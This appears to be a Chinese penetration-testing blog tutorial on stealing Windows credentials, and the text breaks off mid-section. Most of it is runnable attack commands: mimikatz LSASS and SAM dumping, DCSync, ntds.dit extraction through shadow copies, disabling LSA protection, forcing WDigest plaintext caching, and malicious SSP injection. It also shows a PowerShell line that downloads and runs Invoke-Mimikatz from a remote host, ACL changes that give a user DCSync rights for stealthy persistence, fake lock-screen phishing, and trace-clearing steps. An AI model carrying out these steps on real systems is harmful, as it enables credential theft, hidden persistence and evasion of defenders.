从0到1认识内网渗透5-Windows用户凭据抓取

内网密码抓取技术在内网渗透中非常重要,账号密码决定后续是否可以进行横向。

image-20250803135608914

抓取密码原理

认证流程

开机以后,SYSTEM会自动调用winlogon.exe程序,这个程序给我们提供了一个用户交互界面,也就是我们的登陆界面

image-20250803135646463

用户交互页面输入密码并点击登陆后,系统将用户输入的明文密码先传递给[Lsass.exe](https://blog.yuzisec.xyz/posts/22f269df.html?highlight= Isass.exe#Lsass-exe)程序,Lsass程序先会将收到的明文账号密码在本地内存中保留一份作为备用,然后会将我们输入的密码进行NTLM-Hash加密,然后Lsass程序会去读取系统中的SAM文件中已经存在的NTLM-Hash的值,进行对比

  • 对比相同则认证成功,将user SID \ Group SID 发送给winlogon.exe程序,然后生成会话,进入桌面(因此抓Lsass.exe程序相当于抓明文密码)
  • 对比不同则认证失败,系统返回错误提示

image-20250803040353623

在Windows Server 2008 R2之前(未打补丁)系统默认情况下会缓存WDigest凭据,此后系统不再缓存明文凭据

SAM文件

C:\Windows\System32\config\下用于存储本地所有用户的凭证信息(Windows的用户账户数据库,所有用户的登录名及口令等相关信息都会加密保存在SAM中,如果是域环境则保存在域控的ntds.dit 中)文件被锁定,不可直接读取复制等操作

image-20250803035157359

使用存储在SYSTEM注册表配置单元中的密钥,对哈希值进行加密,数据存储格式

1
用户名称:RID:LM-HASH值:NTLM-HASH值

日常常见的PE启动盘改密码原理实际上就是修改SAM文件内容达到登录系统效果。

SYSTEM文件

C:\Windows\System32\config\下用于系统的注册表配置文件,如果损坏则无法进入系统

image-20250803035311740

SYSTEM注册表配置单元中的密钥可以对SAM和ntds.dit内用户的哈希值进行加密

Ntds.dit文件

C:\Windows\NTDS\下用于域环境中活动目录数据库,包括有关域用户、组和组成员身份的信息,它还包括域中所有用户的密码哈希值,文件被锁定,不可直接读取复制等操作

image-20250803035336146

只存在于域控上,只有可以登录到域的用户才可以访问,若域内用户较多,文件可能会很大,与SAM类似需要使用存储在SYSTEM注册表配置单元中的密钥,对哈希值进行加密

密码抓取工具

Windows密码抓取工具众多,不同的工具的某些功能可能会有重叠

GetPass工具

直接通过抓取lsass.exe进程内存中的明文密码,高版本内存中不存在明文密码(2008以上)

1
GetPassword.exe

image-20250803141525765

该工具抓取密码需要高权限(存在UAC验证)

image-20250803141603207

低权限存在UAC认证

PwDump7工具

可以得到系统中所有账户的NTLM Hash

1
PwDump7.exe

image-20250803141735571

该工具抓取密码需要高权限(存在UAC验证)

image-20250803141756397

低权限存在UAC认证

QuarksPwDump工具

可以得到系统中所有账户的NTLM Hash

1
2
本地密码抓取
QuarksPwDump.exe --dump-hash-local

image-20250803141850582

该工具抓取密码需要高权限(存在UAC验证)

image-20250803141909631

低权限存在UAC认证

Mimikatz工具

法国人benjamin开发的一款功能强大的轻量级调试工具,功能强大,可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证,还可以执行哈希传递、票证传递或构建黄金票证

模块

privilege(提权模块)

获取debug权限,抓密码等各种操作的必备前置指令,将该进程的权限提升,管理员账户均拥有Debug权限

1
privilege::debug
lsadump(与LSA交互)

查看指定域内的指定用户的详细信息,包括Hash值(需要域内的Administrator权限)

1
lsadump::dcsync /user:用户名或sid /domain:域名
  • /user 接域用户名或sid,/all就是要全部的
  • /domain域名,不填默认为当前域

image-20250803142629756

读取所有用户的Hash(管理员身份)

1
lsadump::lsa
  • /inject - 注入 LSASS 进程提取凭证数据
  • /name - 目标用户账户的帐户名称
  • /id - 目标用户账户的 RID(RID为502的帐户是KRBTGT帐户,RID为500的帐户是默认的域管理员账户)
  • /patch - 补丁 LSASS 进程

image-20250803142833979

从本地SAM文件中读取密码Hash

1
2
token::elevate(需管理员权限,提升至system权限)
lsadump::sam

image-20250803143038072

还可以直接从sam.hive和system.hive文件中获得NTLM Hash

1
lsadump::sam /sam:sam.hive /system:system:system.hive

bypass LSA Protection(绕过抓lsass.exe程序),微软在注册表项中提供了防止对lsass.exe的注入这时候再尝试会报错ERROR kuhl_m_misc_skeleton; OpenProcess (0x00000005)mimikatz在配置有miidrv.sys时可以绕过

1
2
3
4
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
sekurlsa(与lsass.exe内存交互,整个模块需要管理员权限)

获得备份主密钥(没设置,均为一大串零)

1
sekurlsa::backupkeys

列出凭证管理器,已缓存的主密钥

1
2
sekurlsa::credman
sekurlsa::dpapi

列出kerberos加密密钥

1
sekurlsa::ekeys

输出DPAPI_SYSTEM密文,原文为secret

1
sekurlsa::dpapisystem

列出所有可用的密码,windows8.1和windows server2012R2之前的系统会列出明文密码(高版本或低版本打补丁后不会)

1
sekurlsa::logonpasswords

image-20250803143324014

当目标机器启用了受保护的 LSASS,抓取密码会报错

image-20250803144058423

LSASS保护

微软在 Windows 8.1、Windows Server 2012 R2添加了 LSA 保护策略,以防止不受保护的进程对 lsass.exe 读取内存和代码注入。注册表添加RunAsPPL键值为1(需重启生效)即可开启LSASS保护

1
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 1 /f

注册表删除RunAsPPL键值(需重启生效)即可关闭LSASS保护

1
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /f

查看是否开启LSASS保护

1
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA

image-20250803144302962

可以通过mimidrv.sys文件绕过LSASS保护抓取密码,利用mimikatz加载mimidrv.sys驱动

image-20250803144324847

mimikatz自带
1
2
3
4
privilege::debug
!+
!processprotect /process:lsass.exe /remove
sekurlsa::logonpasswords

列出所有登录用户的kerberos凭证(包括服务和电脑账户)

1
sekurlsa::kerberos

image-20250803143541426

获取krbtgt的全部凭证(需要在DC上运行)

1
sekurlsa::krbtgt

获取LM和NTLM,本质读取lsass进程运行时的lsasrv.dll文件,lsasrv.dll是一个用于winnt操作系统的本地安全密码验证的动态链接库文件

image-20250803143709591

1
sekurlsa::wdigest

image-20250803143628037

通过可逆的方式去内存中读取明文密码

1
sekurlsa::wdigest

image-20250803143732271

在Windows Server 2008 R2之前,系统默认情况下会缓存WDigest凭据,此后系统不再缓存明文凭据

image-20250803143746557

通过tspkg.dll读取明文密码,tspkg.dll它是SSP的一部分,主要负责与终端服务器通信时的安全认证功能,确保远程连接的安全性

image-20250803143817781

1
sekurlsa::tspkg

image-20250803143833447

通过livessp读取明文密码

1
sekurlsa::livessp

image-20250803143900326

通过ssp读取明文密码

1
sekurlsa::ssp

image-20250803143922176

pass the hash,进行哈希传递

1
sekurlsa::pth
  • /user - 你想进行假冒的用户名,Administrator 不是唯一一个已知的帐户
  • /domain – 域名
  • /rc4 or /ntlm (可选的) – 指定用户的 RC4 密钥 或 NTLM 哈希
  • /run (可选的) – 需要运行的命令行 – 默认为:cmd ,得到一个 cmd shell

列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运行的服务和本地计算机在 AD 中的计算机帐户

1
sekurlsa::tickets
process(收集进程数据并与进程交互)

列出正在运行的进程(无需管理员权限也可)

1
process::list

image-20250803144556695

导出进程列表

1
process::exports

导入列表

1
process::imports

开始一个进程

1
process::start

停止一个进程

1
process::stop

冻结一个进程

1
process::suspend

从冻结中恢复

1
process::resume

以SYSTEM系统权限打开一个新的mimikatz窗口

1
process::runp
token(与windows身份验证令牌进行交互,抓取伪造假冒的已存在令牌)

需管理员权限,提升至system权限

1
token::elevate

显示当前身份

1
token::whoami

列出所有令牌

1
token::list
misc(杂项命令)

在管理员禁止使用这三个东西的时候可以强制开出来,如开一个命令行

1
misc::cmd

开一个任务管理器

1
misc::taskmgr

开一个注册表编辑器

1
misc::regedit

加载形式

powershell加载(Invoke-Mimikatz.ps1)(不兼容ps5.0)
无文件落地远程加载
1
powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.108.224/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command \"privilege::debug sekurlsa::logonpasswords exit\""

image-20250803144928790

文件落地本地加载
1
powershell.exe "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command \"privilege::debug sekurlsa::logonpasswords exit\""

image-20250803145008264

本地加载
1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

image-20250803145033263

CS插件加载

image-20250803145050854

密码抓取

接下来详细介绍一下工具的抓取过程,主要分为在线抓取和离线抓取

image-20250803161201250

针对SAM文件抓取

在线抓密码(工具直接上传目标机)

1
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

image-20250803145213101

需要高权限(过UAC)(适合Windows11新版本)

使用CS在线工具导出也可以实现

1
hashdump

image-20250803145449296

离线抓密码(当工具无法上传时)

导出SAM文件和system密钥文件(需要配合密钥才可破解)
注册表导出
1
2
reg save hklm\sam sam.hive
reg save hklm\system system.hive

image-20250803145601561

需要高权限(过UAC)
卷影拷贝技术导出

从XP到2003开始,微软向Windows引入卷影拷贝的服务(VSS)这种服务允许系统自动或手动的方式对文件或磁盘卷的当前状态进行备份(快照)无论文件是否正在运行,由于NTDS文件默认被锁定,需要通过卷影拷贝(快照)形式得到文件副本,后对副本进行密码抓取,注意该过程会大量留下日志

  1. 使用ntdsutil.exe工具导出(成功率高)

ntdsutil.exe工具是一个为活动目录提供管理机制的命令行工具,默认安装在域控上C:\Windows\System32\ntdsutil.exe(2003、2008、2012、2016)+

image-20250803160300031

创建NTDS快照(若无法执行,可提权至system或利用以system的计划任务执行)

1
C:\Windows\System32\ntdsutil.exe snapshot "activate instance ntds" create

image-20250803160325885

加载快照到磁盘中

1
C:\Windows\System32\ntdsutil.exe snapshot "mount {1df43ad3-be91-4c5b-9594-11eaefa63464}" q q

image-20250803160437663

挂载的目录类似一个完整C盘的文件夹系统

image-20250803160452098

拷贝快照中的ntds.dit文件到桌面

1
copy C:\$SNAP_202311071544_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

image-20250803160515805

拷贝快照中的sam和system文件到桌面

1
copy C:\$SNAP_202311071544_VOLUMEC$\Windows\System32\config\SAM C:\Users\Administrator\Desktop\SAM

image-20250803160540612

1
copy C:\$SNAP_202311071544_VOLUMEC$\Windows\System32\config\SYSTEM C:\Users\Administrator\Desktop\SYSTEM

image-20250803160557669

取消挂载并删除快照(清除痕迹)

1
C:\Windows\System32\ntdsutil.exe snapshot "umount {1df43ad3-be91-4c5b-9594-11eaefa63464}" "delete {1df43ad3-be91-4c5b-9594-11eaefa63464}" q q

image-20250803160617291

查询是否有其他快照

1
C:\Windows\System32\ntdsutil.exe snapshot "List ALL" quit quit

image-20250803160633090

  1. IFM方式导出

利用ntdsutil的命令创建一个IFM的方式获取ntds.dit数据库文件,当使用ntdsutil创建一个IFM时,卷影副本会进行快照、挂载、将ntds.dit和计算机SAM进行复制到目标文件夹中(支持powershell或wmi进行远程执行),首先C盘下创建test目录用于接收文件

1
mkdir c:\test

image-20250803160815256

将ntds.dit和计算机SAM进行复制到目标文件夹中

1
C:\Windows\System32\ntdsutil.exe "ac i ntds" "ifm" "create full c:/test" q q

image-20250803160848181

此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下

1
dir C:\test\"Active Directory"&&dir C:\test\registry

image-20250803160909077

删除目录(清理痕迹)

1
rmdir /s/q c:\test

image-20250803160925368

  1. vssadmin工具导出

vssadmin是2008及win7以上系统提供的VSS管理命令行工具,可用于创建或删除卷影副本,列出卷影信息,首先创建一个C盘快照

1
vssadmin create shadow /for=c:(若无法执行,可提权至system或利用以system的计划任务执行)

image-20250803180148631

复制快照中的ntds文件

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

image-20250803180313907

复制快照SAM文件和SYSTEM文件

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM C:\Users\Administrator\Desktop\SAM

image-20250803180333979

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM C:\Users\Administrator\Desktop\SYSTEM  

image-20250803180350263

删除快照(清除痕迹)

1
vssadmin delete shadows /for=c: /quiet

image-20250803180428005

不同于ntdsutil挂载,在图形化界面不可见(可通过copy拷贝)

image-20250803180904838

  1. vssown脚本导出

vssown是一个 vbs 脚本,可以创建和删除卷影副本,首先启动卷影复制服务

1
cscript vssown.vbs /start(若无法执行,可提权至system或利用以system的计划任务执行)

image-20250803180600779

创建一个C盘的卷影副本

1
cscript vssown.vbs /create c

image-20250803180637155

列出当前所有卷影副本(包括之前方式创建的)

1
cscript vssown.vbs /list

image-20250803180657134

复制文件到制定路径

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

image-20250803180727434

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM C:\Users\Administrator\Desktop\SAM

image-20250803180741823

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM C:\Users\Administrator\Desktop\SYSTEM  

image-20250803180800714

删除卷影副本

1
cscript vssown.vbs /delete {500A8C17-3C13-4FE5-A1C0-CC2EFAD99DB5}(大括号之间为之前查询的卷影副本的ID号)

image-20250803180823958

不同于ntdsutil挂载,在图形化界面不可见(可通过copy拷贝)

image-20250803180904838

powershell导出(Copy-VSS.ps1)

导入模块,运行脚本(域控上运行还会自动导出ntds文件)

1
2
powershell-import Copy-VSS.ps1
powershell Copy-VSS

image-20250803161022693

导出的SAM和SYSTEM文件需要手动添加hive后缀

image-20250803161039720

导出到本地mimikatz文件夹下进行离线读取
1
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit(无需提权,文件统一改成hive结尾)

image-20250803161123316

针对lsass.exe进程(针对高版本系统明文密码)

在线抓密码(工具直接上传目标机)

利用mimikatz前,优先提升权限

1
privilege::debug(需要高权限、过UAC)

获取Hash(读取lsass进程运行时的lsasrv.dll文件,lsasrv.dll是一个用于winnt操作系统的本地安全密码验证的动态链接库文件)

image-20250803174532697

1
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit

image-20250803174609087

通过可逆的方式去内存中读取明文密码

1
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit

image-20250803174755098

若域管曾经登陆过,可获取域管理员明文密码

1
mimikatz.exe "privilege::debug" "sekurlsa::kerberos" exit

image-20250803174817680

通过tspkg.dll读取明文密码(它是SSP的一部分,主要负责与终端服务器通信时的安全认证功能,确保远程连接的安全性)

image-20250803174829777

1
mimikatz.exe "privilege::debug" "sekurlsa::tspkg" exit

image-20250803174845699

通过livessp读取明文密码

1
mimikatz.exe "privilege::debug" "sekurlsa::livessp" exit

image-20250803174917425

通过ssp读取明文密码(lsass进程运行时除了调用dll外,还会加载ssp)

1
mimikatz.exe "privilege::debug" "sekurlsa::ssp" exit

image-20250803174940464

通过所有sekurlsa的方法读取明文密码

1
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit

image-20250803175005088

离线抓密码(当工具无法上传时)(需要高权限)

导出内存数据
  • 任务管理器导出lsass.exe内存,任务管理器导出(适用于可以远控桌面时,且需要高权限低权限账户可能无lsass.exe显示)

image-20250803175110360

  • procdump工具(微软工具主要用于开发人员确定CPU峰值故障等)
1
procdump.exe -accepteula -ma lsass.exe lsass.dump(-accepteula同意最终用户许可协议End User License Agreement,否则会弹窗无法运行) 

image-20250803175131142

  • powershell导出(Out-MiniDump.ps1)
1
2
powershell-import Out-Minidump.ps1
powershell Get-Process lsass | Out-Minidump

image-20250803175154459

  • 通过自带comsvcs.dll导出函数MiniDump实现dump内存
1
2
tasklist | findstr lsass.exe(查看lsass进程PID)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 进程号 C:\lsass.dmp full

image-20250803175222903

导出到本地mimikatz文件夹下进行离线读取
1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords  full" exit(无需提权,先注入内存,后进行读取)

image-20250803175311596

针对NTDS文件

模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希,最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据

在线读取

需要有Dcsync同步权限的用户(非必要在域控上)

1
mimikatz.exe "lsadump::dcsync /domain:yao.com /all /csv" exit(无需提权,直接读取所有信息)

image-20250803175830955

1
mimikatz.exe "lsadump::dcsync /domain:yao.com /user:administrator" exit(无需提权,读取单个用户信息)

image-20250803175855786

离线抓密码(当工具无法上传时)

导出ntds.dit
powershell脚本导出(非卷影拷贝技术,不易产生大量日志)
  1. Copy-VSS.ps1脚本
1
2
powershell-import Copy-VSS.ps1
powershell Copy-VSS

image-20250803181205215

直接导出在当前目录下,包括SAM、NTDS、SYSTEM

image-20250803181218228

  1. Invoke-NinjaCopy.ps1脚本
1
2
3
4
powershell-import Invoke-NinjaCopy.ps1
powershell Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\ntds.dit"
powershell Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hive"
powershell Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "c:\SAM.hive"

image-20250803181308244

msfconsole导出

打开msfconsole利用模块

1
use auxiliary/admin/smb/psexec_ntdsgrab
1
2
3
4
5
set rhost 192.168.108.16
set SMBDOMAIN hack.com
set smbuser administrator
set smbpass Admin@123
run(默认将ntds和system文件保存到/root/.msf4/loot/下)

image-20250803181400645

另外也可以使用前面介绍的卷影拷贝技术导出

读取密码

需要ntds.dit文件和system.hive文件,因为system.hive存储着ntds.dit的密钥

secretsdump工具

不仅可以读取账户和机器用户的Hash,还可以读取账户和机器用户的AES key(通过powershell脚本Copy-VSS.ps1导出的ntds无法读取)

1
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

image-20250803181845690

NTDSDumpEx工具

仅读取账户的Hash(包括krbtgt,不包括机器用户),以下情况不能读取

  • 通过powershell脚本Copy-VSS.ps1导出的ntds文件无法读取
  • 通过powershell脚本 Invoke-NinjaCopy.ps1导出的ntds文件无法读取
  • 通过vbs脚本vssown导出的ntds文件无法读取
  • 通过vssadmin工具导出的ntds文件无法读取
1
NTDSDumpEx.exe -d ntds.dit -s system.hive -o 1.txt

image-20250803181952424

esedbexport和ntdsxtract工具

libesedb用于解析ntds文件,ntdsxtract用于读取解析后的内容(Linux下的工具,建议在python2环境下运行),首先安装libesedb工具

1
2
3
4
5
cd libesedb/
./configure
make
make install
ldconfig

将ntds.dit文件复制进libesedb-20230318文件夹下

image-20250803182058059

提取ntds文件

1
esedbexport -m tables ntds.dit

image-20250803182119216

提取结果保存在ntds.dit.export文件夹下

image-20250803182133731

安装ntdsxtract工具

1
2
3
4
cd ntdsxtract/
python2 setup.py build
python2 setup.py install
pip2 install pycryptodome(安装用于加解密的库)

将ntds.dit.export文件夹下的datatable.3文件、link_table.5文件和system.hive文件复制进ntdsxtract文件夹下

image-20250803182221807

获取用户的信息

1
python2 dsusers.py datatable.3 link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout > all_user.txt 

image-20250803182307046

all_user.txt 文件内容如下

image-20250803182320591

获取机器用户信息

1
python dscomputers.py datatable.3 computer_output --csvoutfile 2.csv

image-20250803182353343

QuarksPWDump工具

必须先将ntds文件导出(无需导出system文件)

1
QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit

image-20250803182418059

powershell脚本DSInternals.psd1
  • 在线安装(需要powershell5.0)
1
2
Install-Module DSInternals -Force
Import-Module DSInternals

image-20250804005605820

  • 直接导入(需要powershell4.0)
1
Import-Module .\DSInternals.psd1

需要管理员权限

1
2
$key = Get-Bootkey -SystemHivePath 'system.hive'
Get-ADDBAccount -All -DBPath 'ntds.dit' -Bootkey $key | Out-File 1.txt

读取的内容导出到1.txt中,1.txt的内容如下

image-20250804005659252

另外还可以读取域控信息

1
Get-ADDBDomainController

image-20250804005800898

抓取高版本Windows明文密码

低版本系统可以直接通过卸载补丁(KB2971997)解决,其他高版本需要修改Wdigest注册表(管理员权限运行绕过UAC),强制打开高版本系统的缓存WDigest凭据,对于reg add(控制台注册表工具)

/v 指定要添加到指定子项下的项名称

/t 指定项值的数据类型

/d 要分配给添加的注册表 ValueName 的数据

/f 不用提示就强行改写现有注册表项

修改Wdigest注册表

1
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential(查询是否存在该值)

image-20250804012208106

1
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f(打开WDigest缓存凭据)

image-20250804012228229

1
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f(关闭WDigest缓存凭据) 

image-20250804012246410

1
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /f(删除对应注册表痕迹)

image-20250804012303035

2012老系统锁屏后,新系统需要注销后,当用户重新输入密码开启屏幕后再次抓取密码即可看到明文密码

1
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" exit

image-20250804012432642

可以正常抓取明文密码

内存SSP注入(重启后无效)

正常SSP可以提供本地认证时候对明文账号密码进行记录,我们需要将恶意SSP注入到系统内存中,就可以获取本地的明文账号密码,因为是注入内存所以重启后就失效了(注销仍有效)

mimikatz
1
2
privilege::debug
misc::memssp

image-20250804012632648

powershell(Invoke-Mimikatz.ps1)(不兼容ps5.0)
  • 无文件落地
1
powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.108.185/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command \"privilege::debug misc::memssp exit\"" 

image-20250804012712880

  • 文件落地
1
powershell.exe "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command \"privilege::debug misc::memssp exit\""

image-20250804012728148

因为密码在内存中,需要锁屏或者注销用户然后重新登录后,内存中就保留用户刚刚输入的密码了,只需锁屏操作后,等待管理员输入账号密码后在C:\Windows\System32\mimilsa.log内存放明文密码

  • 锁屏(内存不会清空)
1
rundll32.exe user32.dll,LockWorkStation

image-20250804013310077

  • 注销(内存清空,提前留好后门防止下线)
1
query user(查询登录用户的ID)

image-20250804013350846

1
logoff 1(注销对应的ID用户)

image-20250804013410202

  • 重启(内存清空,提前留好后门防止下线)
1
shutdown -r -t 1(立刻重启,默认1分钟后重启)

image-20250804013429334

接下来便可以读取明文密码了,有几种方式都可以直接读取

  • 直接查看
1
type C:\Windows\System32\mimilsa.log

image-20250804012812907

  • 计划任务查看

上传1.bat文件,并且用计划任务进行执行

image-20250804012828188

创建计划任务

1
schtasks /create /tn copy /sc onstart /tr C:\Users\Administrator\Desktop\1.bat /ru system /f 

image-20250804012850520

运行计划任务

1
schtasks /run /i /tn "copy"

image-20250804012910798

删除计划任务,清理痕迹

1
schtasks /delete /tn "copy" /f

查看密码

1
type C:\Users\Administrator\Desktop\1.txt

image-20250804012956856

  • 创建服务查看
1
sc create test binpath= "cmd /c copy C:\\windows\\system32\\mimilsa.log C:\\users\\administrator\\desktop\\1.txt"

启动服务

1
sc start test

删除服务,清理痕迹

1
sc delete test

查看密码

1
type C:\Users\Administrator\Desktop\1.txt

image-20250804012956856

注册表添加SSP(永久生效)

正常SSP可以提供本地认证时候对明文账号密码进行记录,我们需要将恶意SSP(mimilib.dll)添加到注册表中,就可以获取本地的明文账号密码,即使系统重启也会自动加载SSP

image-20250804013600882

首先将恶意SSP(mimilib.dll)复制到C:\Windows\System32目录下(需要高权限)

image-20250804013614821

添加注册表

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f

image-20250804013635039

需要重启系统,等待管理员输入账号密码后在C:\Windows\System32\kiwissp.log内存放明文密码(提前留好后门防止下线),接下来便可以读取明文密码了,有几种方式都可以直接读取

  • 直接查看
1
type C:\Windows\System32\mimilsa.log

image-20250804012812907

  • 计划任务查看

上传1.bat文件,并且用计划任务进行执行

image-20250804012828188

创建计划任务

1
schtasks /create /tn copy /sc onstart /tr C:\Users\Administrator\Desktop\1.bat /ru system /f 

image-20250804012850520

运行计划任务

1
schtasks /run /i /tn "copy"

image-20250804012910798

删除计划任务,清理痕迹

1
schtasks /delete /tn "copy" /f

查看密码

1
type C:\Users\Administrator\Desktop\1.txt

image-20250804012956856

  • 创建服务查看
1
sc create test binpath= "cmd /c copy C:\\windows\\system32\\mimilsa.log C:\\users\\administrator\\desktop\\1.txt"

启动服务

1
sc start test

删除服务,清理痕迹

1
sc delete test

查看密码

1
type C:\Users\Administrator\Desktop\1.txt

image-20250804012956856

仿造锁屏钓鱼

有第三方插件可以直接实现,弹出伪造钓鱼认证页面

image-20250804013744388

会自动验证密码真实性

image-20250804013826924

暴力破解Hash

可以通过暴力破解工具,如hashcat等进行暴力撞库

1
2
hashcat.exe -a 0 -d 1 -m 3000 --force 7F26CC7A8D7D9F396C4691C0029EBE9F pass.txt -O#LM Hash
hashcat.exe -a 0 -d 1 -m 1000 --force e7c986431dcc95006226c2a8d8e305e1 pass.txt -O#NTLM Hash

image-20250804013941000

针对域内密码

在线读取

通过上传工具到域控读取(工具容易被杀软拦截,域信息过大容易死机)

直接转储Hash

需要域管权限在域控上执行

image-20250804010011642

mimikatz工具

需要有Dcsync同步权限的用户(非必要在域控上)

1
mimikatz.exe "lsadump::dcsync /domain:yao.com /all /csv" exit(无需提权,直接读取所有信息)

image-20250804010057235

1
mimikatz.exe "lsadump::dcsync /domain:yao.com /user:administrator" exit(无需提权,读取单个用户信息)

image-20250804010119003

QuarksPWDump工具

必须先将ntds文件导出(无需导出system文件)

1
QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit

image-20250804010208190

secretsdump工具

适用于工作组或域内主机,主机需要和域可通信(需要提供有Dcsync同步权限的用户的明文密码或Hash或AES key)

1
secretsdump.exe yao.com/administrator:Dc-2008@123@192.168.108.10 (明文密码含@可能无法正确识别)

image-20250804010248873

1
secretsdump.exe yao.com/administrator@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:c8fd0a32e7389a2f83144d4e49d4904a(域内主机)

image-20250804010317058

1
secretsdump.exe yao.com/admin@192.168.108.10 -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab(工作组主机) 

image-20250804010344571

powershell脚本Invoke-DCSync.ps1

需要有Dcsync同步权限的用户,不限域内机器(只能读取域内用户Hash,无机器用户)

1
2
powershell-import Invoke-DCSync.ps1
powershell Invoke-DCSync

image-20250804010413789

msfconsole读取

将CS会话转移至MSF

1
hashdump

image-20250804010459032

1
2
use post/windows/gather/smart_hashdump
exploit

image-20250804010518521

远程读取

不需要上线域控,利用其他域内主机远程读取,主要利用Dcsync技术,适用对象(需要能运行DRS服务的对象)包括

  • 域内Administrators组内的用户
  • 域内Domain Admins组内的用户
  • 域内Enterprise Admins组内的用户
  • 域控制器的计算机帐户(system用户)
  • 权限上具有复制目录更改和复制目录更改所有项
Dcsync(domain Controller synchronization )

Dcsync(domain Controller synchronization )域控同步,在内网中一般不是一个域控,会有域树或者域森林等,域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据(包含用户名密码等)同步的请求,请求里面就包含同步的数据,这里采用的协议是DRS(目录复制服务),这个就是DCsync。

Dcsync风险面
  • 寻找有权限的用户,可以进行PTH,黄金、白银票据攻击
  • 如果控制了域控,可以在域控添加一个管理员账号从而进行权限维持
  • 可以添加一个普通的用户,修改ACL从而实现可以使用Dcsync,进行权限维持(隐匿性高不容易发现)

普通域用户想具有DCSync权限,可以向域内普通用户添加三条ACE(Access Control Entries)

1
2
3
DS-Replication-Get-Changes—>(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All—>(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes—>(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

也可以通过powershell脚本PowerView.ps1添加

1
2
3
powershell-import PowerView.ps1
powershell Add-DomainObjectAcl -TargetIdentity “DC=yao,DC=com” -PrincipalIdentity yao -Rights DCSync -Verbose(在域管用户上给域用户yao添加三条ACE)
powershell Remove-DomainObjectAcl -TargetIdentity “DC=yao,DC=com” -PrincipalIdentity yao -Rights DCSync -Verbose(在域管用户上给域用户yao删除三条ACE)

image-20250804010929660添加后域内的yao用户的权限

image-20250804010953057

可正常Dcsync

image-20250804011010830

mimikatz工具

模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希,最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据,需要有Dcsync同步权限的用户(非必要在域控上)

1
mimikatz.exe "lsadump::dcsync /domain:yao.com /all /csv" exit(无需提权,直接读取所有信息)

image-20250804011211316

1
mimikatz.exe "lsadump::dcsync /domain:yao.com /user:administrator" exit(无需提权,读取单个用户信息)

image-20250804011228565

secretsdump工具

适用于工作组或域内主机,主机需要和域可通信(需要提供有Dcsync同步权限的用户的明文密码或Hash或AES key)

1
secretsdump.exe yao.com/administrator:Dc-2008@123@192.168.108.10 (明文密码含@可能无法正确识别)

image-20250804011300717

1
